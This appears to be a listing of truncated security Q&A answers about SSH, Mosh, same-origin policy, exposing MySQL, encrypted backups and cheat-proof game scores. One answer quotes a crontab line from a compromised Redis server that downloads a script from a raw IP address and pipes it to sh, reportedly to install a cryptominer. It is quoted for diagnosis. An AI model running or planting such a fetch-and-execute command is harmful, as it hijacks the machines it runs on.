30

This used to appear in their FAQ: Q: Has your secure datagram protocol been audited by experts? A: No. Mosh is actively used and has been read over by security-minded crypto nerds who think its design is reasonable, but any novel datagram protocol is going to have to prove itself, and SSP is no exception. We use the reference implementations of AES-128 and ...


26

And how can a web server distinguish between requests coming from a script and coming from a user? It doesn't. The same origin policy is enforced by the browser, not the server. The purpose of the Same Origin Policy (SOP) isn't to protect the server itself. Instead it's to protect confidential information which the server wishes to share with the user, but ...


17

Backing up the TrueCrypt container means that you'll end with a timeline of your encrypted volume, and all of those versions share the same key. Having different versions of the container with the same key gives the adversary two advantages: Information leakage: The adversary will know which sectors of the volume changed. and, as a consequence, a compromise ...


14

If one enters a URL in the browser one starts with a new empty origin, i.e. no domain and port belong to the origin initially. Everything can be put into a window/tab with an empty origin and once it is put there the origin changes depending on where the data came from. If one instead calls a HTTP request from inside a loaded web page, one starts with a non-...


14

The simple answer to your question is that "requests to display a web page" are what set the origin, so obviously they cannot violate same-origin policy. Things that happen within a page (such as JS execution and notably XHR/Fetch) are subject to various restrictions due to same-origin policy, but top-level navigation is always allowed*. * Iframes ...


12

The specific issues depend to some extent on the precise reasons you're opening the server in this way. However, I'm not sure what the difference between a direct MySQL connection dropping (which could happen anyway) and an SSL tunnelled connection dropping, in terms of levels of worry. Changing the port is essentially security by obscurity. It might reduce ...


7

"The cloud" is marketing-speak for "other people's servers", so I will use that term instead. When you move critical systems to other people's servers, you need to be aware that they have physical access to the server and to their network connections. When they are not trustworthy, they are able to steal your data or eavesdrop on your network traffic. A ...


7

I disagree that it is impossible. Depending on the form of your game it might be possible to apply the following scheme: During the game, record the starting state, including seeds to RNGs and all inputs from the user. When submitting the game, submit this "replay" of the session to the server together with the claimed score. On the server, run through the ...


6

No, this is impossible. You are relying on the client to provide accurate data. But you can not do that, because the client is outside of your control. It runs on the users hardware, which means that the user can change it in any way they want and there is nothing you can do about that. Any attempt to authenticate that the client wasn't modified must also ...


5

My question is what is the risk of doing such thing You are exposing an application running on an internal system to the wild internet. If a feature or bug in the application allows for example remote code execution then the attacker will be able to execute this code on your machine and thus inside your local network and thus might reach and attack internal ...


4

In theory a NAS (which I assume is what you mean by "server as hard disk") is no different from a traditional file server in it's operation. They are both computers running an OS with a bunch of hard disks. There is no underlying reason why one or the other might be more secure. In practice, it all depends on you. A NAS comes pre-built, whereas you build a ...


4

As pointed out in the comments, there is no other risk then using normal ssh with password. This means that from the client you need to go through the common check of hostkey or fingerprint and then everything (passwords, keys and all communication) is encrypted. You can even have a look into ssh-copy-id, since it is just a simple shell script doing the "...


4

One thing I can think of: Setting up SSL may not enforce all connections to be SSL. Be sure to verify that. Aside from the above concern, I think it would only be vulnerable if there was a bug in Mysql itself. If you want to mitigate that, use a VPN (which is not unlike SSH tunneling, as it is an extra point of potential failure), and tell Mysql to only ...


3

The good news is two-factor can be free. Google authenticator is free and mixed with FreeRadius should work with just about any access device. It is not as fancy or secure as RSA's or some of the others but it is pretty simple to implement and does satisfy a second factor to username and password. From what I can tell it looks to be certificate based ...


3

You don't. You can't. The best you can do is a trusted boot pathway using TPM which you make part of the partition unlocking process. But unless the hardware is locked to your personal signing key (which it probably isn't), then even that can be subverted. Still, TPM is probably the closest you can get. This is non-trivial to implement, and it is unlikely ...


3

Yes, it is possible - although you may find that the connection is slower than a direct connection. As for the configuration - it really depends on what systems you're running. Windows? Linux? OSX? Essentially, configure Site 2 to allow VPN connections from Site 3 (and only Site 3). It may be worth checking with IT as to why they don't allow VPN ...


3

With an offline application this can't be achieved because it forces you to trust the application (which can be altered) to store and update the score. There is no way around this for an offline application. Even with fully homomorphic encryption the offline application would be able to tamper with data even if it can't see the original data. If the ...


3

I read some article about linux kernel having vulnerabilities The linux kernel is a huge piece of software. Here is a list of 1338 vulnerabilities that have been previously discovered and patched in the linux kernel. Can you be more specific? how should I prevent remote acces to my station and other things? The topic of hardening a linux system has ...


3

Would this be considered a reasonably safe configuration?: No. The hint here is Company doesn't want to put the data on the third party server. I assume there are good reasons for that. The problem is that if you directly let the web server on the remote host directly access your local database, it just means that the external server gets a direct access to ...


3

This approach could have implementation issues, and there are already solutions to what you want. It's simple; make an assymetric keypair (say PGP) on another server: gpg2 --full-gen-key Export the public (decryption) key: gpg2 --output public.gpg --export me@mymail.com Import the public key on the VPS: gpg2 --import public.gpg Use it to encrypt data ...


3

OP given url to the forum mentioned that the developer cloud server redis has been compromised, an entry has been added to crontab. i.e. */1 * * * * /usr/bin/curl -fsSL http://162.242.245.65:8220/test9.sh | sh The rest of the commenter mentioned that this is a possible hack that installs Bitcoin miners inside the system. I agree with @Itamar Haber, you ...


3

No, it won't be any practical nor solve anything. First, there are cookies set or read from Javascript. Those cookies won't be stored on the server and will be different on each device. Every site using them will fail somehow. Sites that store the browser on a session variable will detect that your cookie was used with Firefox mobile and desktop, and may ...


3

The difference is simple: the computer user chooses which website address to type into their browser. They do not choose which website addresses that site then tries to exchange information with. That key distinction means we need protections on the latter, but not the former. Of course, an equivalent of that protection for the former would mean you could ...


3

It is foolproof in the sense that someone can only gain access if they have your credentials, or if there is a vulnerability in Wireguard. But in the same sense, exposing an SSH server is foolproof. The most attractive aspect of this setup is probably that Wireguard exposes a smaller attack surface than SSH. Whether this is a good architecture depends on ...


2

Use ssh to forward a port securely to the machine running MySQL, using a key for authentication. To make this work, you need to not use per-IP authentication, as thge IPs are changing. Attacks on ssh will then trigger your fail2ban system, while authenticated connections won't.


2

If someone gains access to your system by software means while the encrypted filesystem is mounted, they gain access to the filesystem. If someone gains access to your system by software means while the encrypted filesystem is not mounted, they may still gain access to the filesystem: it depends when you detect the intrusion. If they manage to gain root (...


2

Something to keep in mind while using MOSH... Although most of us use SSH to initiate the connection, MOSH doesn't require that to make it work (SSH only kicks off a new mosh-server on the server side and returns two values to the client side: port-# and 22-byte symmetric key). As such, if you get your hands on the two items the server produces, ANYONE can ...


2

QNAP devices have a very limited ssh server installed as standard - you have to login as admin (i.e. root access), which is a risk in itself. You can replace with openssh - see instructions here: http://wiki.qnap.com/wiki/How_To_Replace_SSH_Daemon_With_OpenSSH however be very careful to change the guest account password. I learnt this to my cost when I ...


2

@Philipp is right when he says that you can't protect against your customer. Instead of going to great lengths to keep the pseudo-queries secret, you should focus your efforts upon input validation and injection protections. On the server where you take the pseudo-query and translate it to a SQL query, make sure that you're properly quoting any input to ...


2

Use certificates. That way the client never shares it's private key with anyone including the server. The server just has the clients public key which isn't secret. Alternatively run a federated identity solution or leverage one such as Google or Facebook's. There are open source options for this (such as http://en.m.wikipedia.org/wiki/OpenAM ) You also ...


Only top voted, non community-wiki answers of a minimum length are eligible